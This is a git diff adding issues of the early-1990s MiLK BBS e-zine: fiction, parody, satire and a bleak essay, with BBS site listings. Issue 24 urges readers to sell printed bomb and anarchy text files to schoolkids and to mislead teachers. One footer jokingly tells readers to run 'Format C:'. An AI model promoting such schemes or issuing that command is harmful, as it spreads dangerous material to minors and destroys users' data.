could've had some respect and used ZIP to squish me! So anyway, +here I am 62% of my original size, they they sent me to LPT1 a couple times, +then they took the hard copy file maker thing that humans call printers (I +can't to this day figure out why), but then they did a real cruel thing, they +connected the printer to COM2!!! Then they sent me one bit at a time to the +hard copy thing! I was so embarassed! They they uncompressed me, they ran +me through a compiler! And they started looking at me insides! OUCH!!! I +was so violated! Then as I couldn't take it anymore, the virus police +came through and killed all the evil virii! Since I was now a ASM file, the +virus police didn't get me. So there I sat for weeks un-assmebled! One day, +the human of the computer came and found me. He didn't remember me, so he +compiled me, and then when he found out I was a virus, he called in the virus +police. It was too late, I already jumped on COM1 and was out in the phone +line somewhere! I didn't know where I was, and I didn't know how I'd get +home, but thats a different story! I hope you had a load of fun reading about +my adventure, I think I'll go get some MiLK, and maybe I'll tell you another +story on another MiLK carton! + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MiLK] InformationÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[MiLK] Sights - WHQ - Barney's Pleasure Palace! (708)965-3098 + DiSt- The Lunatic Phringe (708)232-0565 + Mech World (708)757-0116 + The Acropolis (708)557-2826 + +[MiLK] Member Listing - + +James Hetfield Plaid Wilderbeast Medicine Man +Nyarlathotep Mendeleev Igor Shimsky +Epic Black Justice Stash + +[MiLK] Issue Number - 21 +[MiLK] Issue Size - 4619 Bytes +[MiLK] Date of Production: 3/22/93 + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Long Live The Machine ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/textfiles.com/magazines/MILK/milk-022.txt b/textfiles.com/magazines/MILK/milk-022.txt new file mode 100644 index 00000000..64e76c54 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-022.txt @@ -0,0 +1,72 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #21 Û Û +Û²²²²²²²²²Û illicit "Faces in the Halls" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + How insignifigant we really are... + How petty our lives truely become... + We are born into a world where we are in contact with only a few +select few; we call these few our friends, our relatives. Sooner or later, +we have the opportunity to take on education; to "broaden" ourselves. At +the same time we meet a lot of new faces, and forget a lot of old faces. We +become more so called "intelligent" because we are more educated. Well it's +all a lie. We are most intelligent when we are ignorant of reality. This +may seem hypocritical, but ponder this for a moment: + + When we first enter schooling, we know and learn about a handful of +people our age. We are told about the vast number of people out there, but +we don't understand the importance of it; we are ignorant, lost in our own +self being. We enter junior high and the people we know grow threefold. Yet +we are still so caught up in the petty problems we go through day by day to +question our existense. Then a child hits high school; The reality check of +education. Chances are you are like me, and only even know one-fourth of the +population of the school. The rest are just "Faces in the Halls". Only 25% +of the school even KNOWS me! Then, you graduate high school. Most will live +on without acknowledging their igsignifigance, but a mere few, like me, will +realize that it is all but too late for us. After high school, only a couple +of your closest friends will remember of your existense. (without the help +of yearbooks, that is. My defination of a yearbook - An item consisting of +many memories that will not benefit a person in the slightest in the future). +Finally, the end nears. You enter "The Real World". A place where you are +more of a slave to society, to the machine, than a person. Maybe you prolong +your trip to this lifetime of agony by going to college. You are simply +paying the piper to prolong your innocense. Then, when you are upon the gates +of the real world, where you can see the daemons scratching away at your +cloths to get to your checkbook, you will finally truely realize something; +You are just a speck of dust on a table, with vaccuums approaching from every +direction, attempting to suck you up. There will be no place to run to now... +You cannot hide from it... Your mother's wing which used to shelter you has +been twister, broken, and ripped out by the daemons that drool while gazing +at you this moment... All you can do is carry on, as the bleeding from the +claw marks dull your thoughts, as the manical laughter echoes trhough your +head, as the head arises from the ground. Nothing can save you now... only +one thing has stalled you from arriving at this fate; Hope. Alas, hope is an +ignorant virtue, and can only be held by those with childish minds... you are +the intellectual, the elite... and look what it has brought you! + + + + +ÄÄÄÄÄ [MiLK] Information ÄÄÄÄÄ + +Sites: + Barney's Pleasure Palace -7o8- 965.3o98 -World Headquarters- + Mech World -7o8- 757.o116 -South Side DiSt- + The Acropolis -7o8- 557.2826 -WeSt Side DiSt- + Lunitic Phringe -7o8- 232.o565 -Chat DiSt- + +Member LiSt: + +James Hetfield Nyarlathotep Epic +Mendeleev Medicine Man Plaid Wilderbeast +Black Justice Igor Shimsky Stash + +File Number 022 +File Size 4149 Bytes + +ÄÄÄÄÄ -Type Format C: to Continue- ÄÄÄÄÄ diff --git a/textfiles.com/magazines/MILK/milk-023.txt b/textfiles.com/magazines/MILK/milk-023.txt new file mode 100644 index 00000000..040861ed --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-023.txt @@ -0,0 +1,183 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #23 Û Û +Û²²²²²²²²²Û illicit "The Inferno Chronicles" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + Here I stand, staring out upon the carcass of the + Cyber-Demon Lord. I don't even know HOW I managed to kill + him, it's all a blur to me. I just had a vision of running + around on an adreneline kick, firing away with this rocket + launcher I had found, upon a miracle, in a small room close to + here. Everything I had was destroyed by the blast from his + cannon... all I am left with is this pistol. I'm not in the + grestest of positions right now, as you can tell. + + +++ + + Let me tell you a little about myself. My name's + Scott, but no one ever calls me that. I was a marine, a damn + good marine at that. One of the best, I think. But that did + not matter because I did something very dangerous that marines + are not allowed to do. I thought for myself. One time a + superior officer of mine told us to fire upon unarmed + civilians. I wouldn't let him. I stopped him. I... well... + I shot him. For this chrime, I was sent out to the toxic dumps + on Mars, where I was stationed for FOUR YEARS. Four years of + not even seeing a female human... It wasn't fun, believe me + when I tell you that. Well, out here, Mars has two moons, + Deimos and Phobos. Had, I should say. Well, The Scientists + and Inventors have been playing with a new item they have + made, that basically can "Warp" something from the moon Phobos + to the moon Deimos. Well, it sounds like a great idea, but + let's just say that the warp thing wasn't totally operational + yet. They would send things, or people, in one end, and they + wouldn't come out the other. Or they wouldn't come out the + other in the order they initially went in. Like the Volunteer + from Pennsylvania. He stepped in the thing in fine shape, but + at Deimos only his torso came out. Well, as you can see, the + thing had some bugs in it. And these bugs began to show + themselves a little more clearly as of late. Some things + began coming OUT of the warp door that never went IN... at + first this didn't seem to be a big deal. But... then things + got worse. The warp doors went beserk. they wouldn't + "Listen" to the inventors, they did what they wanted. And + then it happened. No one knew HOW, or WHY, but it happened. + Deimos simply disappeared out of the sky. Vanished. The + scientists got so scared they locked and sealed the doors + leading to the Warp door... but it was too late. They had + already started coming out. Few at first, then many after. + The locked and sealed doors couldn't hold them, for they were + of nothing ever seen my mortal men... they were supernatural, + they were of another kind of world. And they were evil. VERY + evil. + + I was assigned to one of the rescue teams. We were a + small unit, and I was one of the ones that wasn't even + assigned any firepower. I just got a pistol. Like a pistol + is going to stop some supernatural being. I'm going to get + plastered onto the wall by some goulie... Well, it doesn't + matter anyway, I'm not afraid of death. Death might be a lot + friendlier than my present surroundings... + + So we broke up into search teams, to try to find + anyone alive, or any of these creatures... we all had portable + communicators, so we'd be able to report in if there was any + problems. Well, there were problems. One of them consists to + all that was heard over the commincators were screaming, + gunfire, and strange animal noises. Now, I'm not sure if my + comminicator is broken or not, but I doubt it is. I think the + rest of the team is dead. And now they're all coming for me. + You know, I'd much rather be in Chicago right now, no matter + WHAT the temperature is there... + + +++ + + I don't know how I survived this long, but I have. I + have gotten through the toxic waste dumps in Phobos. I have + traveled through the warp door to Deimos, which I have + discovered is hanging above hell itself. I have been through + a war and have lived. And now I stand next to the fruit of my + triumph. The Cyper-Demon Lord, lying dead on the floor. He + was the cause of all this damage. It was him that was able to + take over Deimos and suck it out of our galaxy. And now he + has parished. My only troubles now is getting back home. + Considering the only way I can possibly go to get anywhere is + though hell, I guess that will be where my journey will take + me. What I find down there, only God... or other beings, know. + + I reppeled down a long rope onto the surface of hell. + Right now, I find myself in this small room that I fell into + after jumping off the rope down onto the surface. The walls + are of some very dry wood all entangled with each other. at + this end there seems to be some kind of fleshy creature + attached to the wall. I slowly raise my hand to touch the + ceature, and suddenly an eye opens and starts looking at me! + Then, all the walls around me start to decend... This all + happened very fast and I didn't have much time to think about + it. Well, when the walls around me were completely gome, I + looked around and saw a quite barren wasteland I had seen from + above while climbing down to the surface... the ground was all + dead wood and dirt, and the few trees lying around were + scorched and dying. + + *WOOSH*. A fireball went flying by my head. a little + bit of my hair was aflame and I quickly batted it out while + looking around for where that came from. I saw an imp in the + distance, staring directly at me, ready to cough up another + one of those fireballs in my direction. Pulling out my + pistol, the only weapon i have, I aimed right at the heart of + that fucker and fired 6 bullets right into his chest. + Needless to say, he went down. I felt a little better after + doing this, my confidence level gained a bit. I was quite + worried because of not having any real weapons with me, all of + them being blown to smitherines from the shot of a rocket by + my pal the Demon Lord, even my armor was in shreds... but now + I was beginning to feel a little better, my pistol maybe being + enough for now until I find something else lying around... + there was to be weapons lying around hell, right? It'd only + be natural... + + I was woken out of this little daydream by another + fireball hitting me directly in the back. This one dropped my + confidence level quite a bit when I felt my skin scorching + under the temperature. I quickly got up and aimed my pistol + behind me. There I saw another blast heading straight for + me. It landed about a foot in front of me, blinding me. This + is not a happy day, I thought to myself. I then looked + in the direction of the imp that was attempting to fillet + me. I shot my gun off about 5 or 6 times, until I heard his + carass slam onto the ground. I sighed from relief as I looked + over his body. I had hit him in the head 3 times. Not that bad + for not being able to even see. I only had 3 bullets left, I + better keep them until an emergency. I once again, having a + chance now to fully scope out the area, looked around. I saw + in the distance to the north a building, which I started to + walk towards. It consisted of a great door and a skull + Implated on each side of the wall. I also found a few boxes + of bullets conveinently lying outside the doors. It looks + like they were planning all this. I looked around the + building but couldn't find anyway inside except the door, + which didn't have a doorknob or anything of the sort. And I + was not exactly about to knock, either. Thinking to myself, I + leaned up against the wall. I accidentally bumped the skull + implanted there and his eyes lighted up. Interesting was the + only word that came to mind. Then I heard the door + mechanically open. I sheepishly peered inside to find a + beautifully contrived giant ball of flame approaching me at + full speed. I jerked myself out of the doorway as the flame + past by... No matter how many times you're close to death, you + just never get used to it. Well, out of this door pops out + one of the ugliest beasts I have run into yet. They're called + Cacodemos, and they can be easiestly described as big floating + spheres with an eye and a mouth that spits fire. They're not + cute. Nor are they easy to defeat. I was able to kill these + buggers a few times, WITH A PLASMA GUN. But with a pistol? + And a few rounds of ammunition? I'm toast. Literally. Well, + I don't have time to think about this. He's floating towards + me right as we speak. He looks hungry. He looks angry. Just + what I need, a Supernatural Hungry floating bastard. Time to + learn how much can really be done with a pistol... + + +ÄÄÄÄÄ [MiLK] Information ÄÄÄÄÄ + +Sites: + Barney's Pleasure Palace -7o8- 965.3o98 -World Headquarters- + Mech World -7o8- 757.o116 -South Side DiSt- + The Acropolis -7o8- 557.2826 -WeSt Side DiSt- + Lunitic Phringe -7o8- 232.o565 -Chat DiSt- + +Member LiSt: + +James Hetfield Nyarlathotep Epic +Mendeleev Medicine Man Plaid Wilderbeast +Black Justice Igor Shimsky Stash + +File Number 023 +File Size 10769 Bytes + +ÄÄÄÄÄ Oink! ÄÄÄÄÄ diff --git a/textfiles.com/magazines/MILK/milk-024.txt b/textfiles.com/magazines/MILK/milk-024.txt new file mode 100644 index 00000000..bdffba26 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-024.txt @@ -0,0 +1,68 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #24 Û Û +Û²²²²²²²²²Û illicit "Fast Money Milk Style" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Nature Boy (NB!) Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + Warning: THIS IS NOT A /<-RAD ELITE WAREZ ANARCHY F*CK +THE WORLD TEXT FILE!! If this is what you were planing for, +C:\>Del Milk.24 will suit it more well than words.... + + Lets say you know someone mentioned of the above +area; takes chemistry classes with the only intention of +blowing something up, well you too can benifit from them as +well. Hi Im Nature Boy, and in todays session, I will tell you +just how to do this. + + + *** Number 1.Find a Anarchy WaReZ type board. + + If yer 1200 or higher, you have a good chance of +getting your hands on virtually any anarchy file, may it be +Phreaking, Chem type Bombs, How to kill fat people, etc... and +the list goes on. If you own a speed modem, the more cash your +gonna rake in. Down load Anarchy Tfiles, as many as posible. +What ever sounds good, or suits a person of this area. + + *** Number 2.Tell kids about it. + + Thats right, if your a student of a school of a sort, +you have access to lamers, or "Faces in the Halls". These are +our targets. Talk to them, explain to them about your neato +bomb files, and try to work a price for about 10 bucks, or +whatever you believe is good. + + *** Number 3.Own a printer + + Priority. For this to be succesful you need a printer. + + *** Number 4.Business pumping + + Be as sneaky as you wana be in doing this. If you wana +tell a teacher its a report, it works. Trust me, I do this +a lot. Now youve sold ten text's to ten different kids for 10 +Bucks, and you have 100 dollars in the bag. Its so simple. No +illegal-ness to this, just make sure you have a non-refundable +policy to it, and wala INSTANT CASH! + +ÄÄÄÄÄ [MiLK] Information ÄÄÄÄÄ + +Sites: + Barney's Pleasure Palace -7o8- 965.3o98 -World Headquarters- + Mech World -7o8- 757.o116 -South Side DiSt- + The Acropolis -7o8- 557.2826 -WeSt Side DiSt- + Lunitic Phringe -7o8- 232.o565 -Chat DiSt- + +Member LiSt: + +James Hetfield Nyarlathotep Epic +Nature Boy Medicine Man Plaid Wilderbeast +Black Justice Igor Shimsky Stash + +File Number 024 +File Size 2907 Bytes + +ÄÄÄÄÄ þ ÄÄÄÄÄ diff --git a/textfiles.com/magazines/MILK/milk-025.txt b/textfiles.com/magazines/MILK/milk-025.txt new file mode 100644 index 00000000..33ebed16 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-025.txt @@ -0,0 +1,82 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #25 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± "Millie" + °°± °°± °°°± °°°± °°°± -By Yohan Bawk + °°°± °°°± °°°± + °± °± °°± + + Die, Die, Die + ------------- + + Boy, this piece of crap story could never have been written by some + purveyor of really good taste like Biff Thelmus Bonglemeister III + + + Long, long ago, in a galaxy far, far away--farther than you can + imagine, farther even than the meaning of life, the meaning of God, the + meaning of those little zits you get on your eyebrows--anyway, long, + long ago, in a galaxy far, far away, there was this guy who wanted to + take over the Galaxy. He was born into a troubled, broken, abusive, + alcoholic, post-Vietnam-victimization-syndrom infested, downtrodden, + downright shitty home. He was raised first by a mother who beat him + around the head and neck with beer bottles, until she finally tired of + the game and dumped him into a trash can, where he was found by a pimp + and raised as a hustler. Eventually, he arose to a position of pimp + himself and plotted to take over the world. Eventually he managed to + cause trillions of dollars of damage per day, destroy half of the + Galaxy's resources in five weeks, and fucked more people in a day than + the Marquis de Sade did in his lifetime--all before joining PTL and + preaching on Sundays on channel 38. + + But this is not the story of this preverted man, it's the story of his + dog, Millie. Millie was a son of a bitch, as you might expect. Now + one might ask, "why the hell are we hearing about some guy's dog" but + rest assured THERE IS A REASON FOR ALL OF THIS. Anyway, Millie was + raised in a friendly, good home, but one day when his master was taking + him for a walk, Millie was hit with temporary insanity and bit him. + "You son of a bitch!" yells the guy... Millie wagged his tail. He + liked recognition. So the guy says, "die, die, die," pulls out a + Magnum .44, and blasts Millie through the head. Millie falls over on + the pavement bleeding, and his master drags him over to the bushes and + leaves him there, and nobody every heard of Millie from then on, the + guy told everyone he had been run over by a truck. + + Anyway, now it's not so long ago, and this asshole guy who shot his dog + is ruling the Galaxy and getting some every hour. So he's just getting + dressed, ready to make some more decisions and kill some more peasants, + jerk as this guy is. So someone limps into the chamber with a + trenchcoat. "Hey, you pervert," says the ruler of the Galaxy, + "geddadamyroom!" So the stranger drops his trenchcoat, and it's Millie + the dog! "Ruff ruff ruff," he says, and pulls out a Magnum 4.4, and + blasts a hole through the building taking the poor ruler of the Galaxy + with him. + + And so Millie married the concubine and lived happily ever after. The + moral of the story is "don't shoot your dog" + +ÄÄÄÄÄ [MiLK] Information ÄÄÄÄÄ + +Sites: + Barney's Pleasure Palace -7o8- 965.3o98 -World Headquarters- + Mech World -7o8- 757.o116 -South Side DiSt- + The Acropolis -7o8- 557.2826 -WeSt Side DiSt- + Lunitic Phringe -7o8- 232.o565 -Chat DiSt- + +Member LiSt: + +James Hetfield Nyarlathotep Epic +Nature Boy Medicine Man Plaid Wilderbeast +Black Justice Igor Shimsky Yohan Bawk + +File Number 025 +File Size 4347 Bytes + +ÄÄÄÄÄ è ÄÄÄÄÄ diff --git a/textfiles.com/magazines/MILK/milk-026.txt b/textfiles.com/magazines/MILK/milk-026.txt new file mode 100644 index 00000000..d6ef22e2 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-026.txt @@ -0,0 +1,105 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File # +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± "Just Add Water" + °°± °°± °°°± °°°± °°°± -By Epic + °°°± °°°± °°°± + °± °± °°± + + So you think you have what it takes to start a colony of Sea Monkeys? +Well, good for you! Sea Monkeys are a really neat thing to have. + + * Just Add Water! + * They Come To Life! + * Absolutely Guaranteed To Grow! + + Yeah, pretty neat, huh? I know most of the stuff I write sounds like +advertisements, but that's what this world is really about anyway. Just +really long commericals. That why I love to watch 'Amazing Discoveries' so +much. + + Anyway, yeah, buy some Sea Monkeys, and help them to grow. Sea +Monkeys are wonderful creatures. All you have to do is empty them out of +their little packets into a container of water, and feed them with offical +Sea Monkey Growth Food. Within weeks, your Sea Monkeys will blossom into +terribly interesting pets. They basically just swim around a lot. BUT, if you +hold a magnifying glass to them, you can see that much, much, more meets the +eye. + + Through the aid of magnification, you can watch your Sea Monkeys do +what they do best. Their favorite sport is tennis, but they also enjoy golf, +baseball, football, foosball, lacrosse, ping-pong, midget tossing, velco wall +jumping, javelin throw, and even wind surfing. They are very athletic, +especially for little blobs in the water. Just hope that they don't injure +themselves, because performing knee surgery on your Sea Monkeys is quite +difficult, even for a brain like yourself. + + Now I'll tell you a little bit about how to make your Sea Monkeys. +(alright, I lied, you have to do more than just add water. But it's worth it!) + + +-[ Step Number One ]- + + Empty your "Water Purifier" packet (labelled #1) into a clean, +uncovered container holding 12 ounces of water. Stir until powder starts to +dissolve. Set it aside for 24-30 hours at room temperature before proceeding +futher. WARNING! DO NOT add Sea-Monkey eggs util you have complete this first +step. Water Purifier removes toxins, buffers the water, and after 24 hours, +reacts with the Instant-Life crystals (in Packet #2) so that your Sea-Monkeys +will appear to hatch INSTANTLY. + +-[ Step Number Two ]- + + Add the entire contents of Packet #2 (containing your live Sea Monkey +eggs in hatching crystals) into the purified water. Stir for 1 minutes and +hold the container in front of a strong light. Search carefully and you'll +see tiny white "dots" swimming against the current. There are your live, +newly-hatched Sea Monkey babies. With care, they can grow from 1/2" to 3/4" +and live a year or more. + +-[ Step Number Three ]- + + In Packet #3 is Sea Monkey Growth Food. I trust that you can figure +out what to do with it on your own. + + Well, that's just about all you need to do to make yourself some live +Sea Monkeys. And if at least two of them don't grow to be a half an inch by 3 +months, you can get your money back! What a DEAL. + + You might also try just eating the Growth Food raw. This is a +convienient snack, and will no doubt help your athletic abilities greatly. If +1/2" inch beings can play tennis well by eating it, so should you. Or, just +munch on the Sea Monkey life crystals themselves. CAUTION: They may sprout to +life on your tongue, so watch out. + + If you really get interested in your Sea Monkeys (and hey, who +wouldn't be), there are plenty more products that you can purchase from the +Transcience Corporation to improve the living quality of your Sea Monkeys. +You can order the Electric Sea Monkey Micro-Vue Ocean Zoo(tm), which stands +at a giant 6 1/2 inches high, for only four dollars! You can also send away +for extra Growth Food, and Living Plasma! + + So pick yourself up some Sea-Monkeys and have yourself a jolly old +time! cyaz... + + GReeTZ Go To - oTiS, GaRBaGe TRuCK, and FLeTCHeR + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û Mech World.................(708)757-0116 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û File Number 26, "Just Add Water" By Epic +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is exactly 5223 bytes long diff --git a/textfiles.com/magazines/MILK/milk-027.txt b/textfiles.com/magazines/MILK/milk-027.txt new file mode 100644 index 00000000..c8af33f1 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-027.txt @@ -0,0 +1,96 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #27 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± "As You Were" + °°± °°± °°°± °°°± °°°± -By Epic + °°°± °°°± °°°± + °± °± °°± + + + So, I'm sure you've heard the news. Well, um, that Nirvana guy killed +himself. It's real sad. + + He was so cool. You could spell his name is SO many different ways. +Like "Curt Cobain", "Kurt Cobain", "Kurt Kobain", or even "Kurdt Kobain". +I can't spell my name in that many ways without making it look dull. But he +handles name spellings gracefully and beautifully. And he was really cool. + + He wrote lots of neat songs. Most of them sounded the same, but most +of them were good anyway. The other people in the band were neato too, and +you probably won't get to hear very much about them anymore either. That's +pretty sad. + + Well, lets just remember him how he would like to be remembered. Oh. +Well I guess I don't really know how he would like to be remembered. Hmm. I +will just remember him as a really nifty person. He even wore women's +clothing on stage and got cheered for it! I know if I went out on a stage +playing my guitar in a dress, I'd probably get things thrown at me. But not +him! Noooooooooo... cause he was too cool. + + Yeah, he even changed his hair color a bunch of times too. Pretty +drastic changes, eh? Yes, it was blonde, then pink, then dark. And he had a +cool goatee too. Yeah. How neat. + + + = - - + So what of Courtney Love and their baby? Hmm. Well, we'll hope that +Courtney goes the whole week without slashing her wrists, and then we'll see +what happens. + - - = + + I saw this man perform once. It was neat. He even broke a little bit +of stuff. He liked to break things. He would buy really cheap guitars, and +then break them a lot. The crowd loves that kind of thing. He even leaped +into the crowd at the end. But the crowd booed, because they never played +"Smells Like Teen Spirit". Those cocks. + + + :b <-- + I think it's ironic. There is a compliation CD for sale, featuring a +song by Nirvana, written by the late Kurt Kobane, entitled "I Hate Myself and +Want To Die". Hmmm. A cry for help? + --> d: + + Well it seems that even the Jehovah's Witnesses and those airport +guys with the long braid have failed Kurdt this time. May he rest in piece, +and I hope they buy him a good coffin, with windows and handles. Bad coffins +suck worse than thumbtacks on your sofa. Even worse than syringes in your +Pepsi. That really sucks. + + Good luck, Courtney. Good luck, baby. Good luck, Dave Grohl and Chris +Novosellic. Good luck, Kurt's dog. Good luck, blender. I hope you find your +faith in JR b0b d0bbs, and his spirit will guide your soul and protect you +from the harm that enveloped Kurt. His death was tragic, but he will be +remembered, and revered in our hearts forever and his music rings heavily in +our ears. + + "I'm a negative creep, and I'm stoned" - kurdt + "Gimme back my alcohol!" - kurt + "I'm so horny" - curt + "When I was an alien" - kyrt + "Do put out the blowtorch" - kort + + "rape me" + + **-% ByE %-** + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û Mech World.................(708)757-0116 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û File Number 27, "As You Were" By Epic +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is exactly 4536 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-028.txt b/textfiles.com/magazines/MILK/milk-028.txt new file mode 100644 index 00000000..dee76d53 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-028.txt @@ -0,0 +1,122 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #28 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± "People are Shitheads" + °°± °°± °°°± °°°± °°°± -By Yohan Bawk + °°°± °°°± °°°± + °± °± °°± + People are Shitheads + -------------------- + + or + + Another Racist Communist Plot to + Impurify and Destroy our Vital + Bodily Fluids + -------------------------------- + + By Hrrrmph + Edited by Biff Thelmus Bonglemeister III + + + Hello, my name is Hrrrmph, and I'm an infestation. Yes, that's right, + other folks may be doctors and lawyers and teachers and mayors and + lamprey hunters, but me, I'm just a lowly infestation. To be more + specific, I'm a thrown out empty can of Snapple Kiwi and Strawberry + cocktail floating merrily along on the Chicago River (boy, and you were + starting to think I was a yeast infection or something. Ewwww!). + + Now every day (before I got thrown in this dump that is) I would hear + people complaining about pollution and I always thought, "well, heck, + those people are right, pollution is downright ugly." But now, I + myself am a piece of pollution, and I guess my mind is a lot more open + now to these alternate lifestyles, because NOW (obviously) I don't + think pollution is so ugly anymore. + + Heck. Some of my best friends are pieces of pollution. + + Anyway, I'm here today to tell you about the newest menace to the + freedom and character and vital bodily fluids of the continental Untied + States, yes, that's right, yet another new and terrible form of + discrimination. + + Yes, I am a sad victim of the new scourge to civil rights lawyers + everywhere, UTILITARIAN DISCRIMINATION. Now this may sound new, + because it is, so you're probably asking "what is this crap?" Well, + I'm sure you've heard of racial discrimination, and religious or sexual + discrimination, and some of you may even have heard of the less popular + small furry animals discrimination. Well anyway racial discrimination + is when people treat people differently because of race and stuff, + sexual because of sex and stuff, small furry animals because the guys + who work for the big make-up companies have guns. Well, whatever-- + that's not important because basically the only thing I worry about is + utilitarian discrimination, which is when employers, dump operators, + etc. treat someone differently because of the fact that they're not + useful. + + Now this is totally unfair, and I'm in court today to protest this un- + American unjustice. Now ladies and gentlemen of the jury, you may + demand some evidence to back my charges of utilitarian discrimination. + Well here are some examples. When I had just been thrown aside, it + wasn't in the river, it was on the side of the road, being thrown FROM + THE WINDOW OF A CAR. Ouch! Now, I was part of a six pack you know, + and none of the OTHER cans were thrown out the window to die. If that + wasn't discrimination, I don't know what is. Now then I was bouncing + and rolling around, finally falling into a bed of daisies, when some + guy with an orange vest on comes along with a trash bag and says + "hrrmph!" Now of course I started listening, but then he just said + "geez, all this trash," and picked me up and threw me in the disgusting + smelly trash can! Ewww! You don't see those trash stooges throwing + any daisies in their trash cans, do you? Of course not, clearly more + discrimination against us poor discarded implements. Then, the guy's + bag springs a leak, and all this trash comes out, and so do I. The guy + leans over to pick up the stuff when his pocket change rolls out of his + pockets, and he starts running after it. Now at this time I started + rolling down toward the sick Chicago River, but did he come running + along to save ME? Of course not, he went for his pocket change. More + shocking discrimination. Anyway then I fell down PLOP into the river, + and there I am to 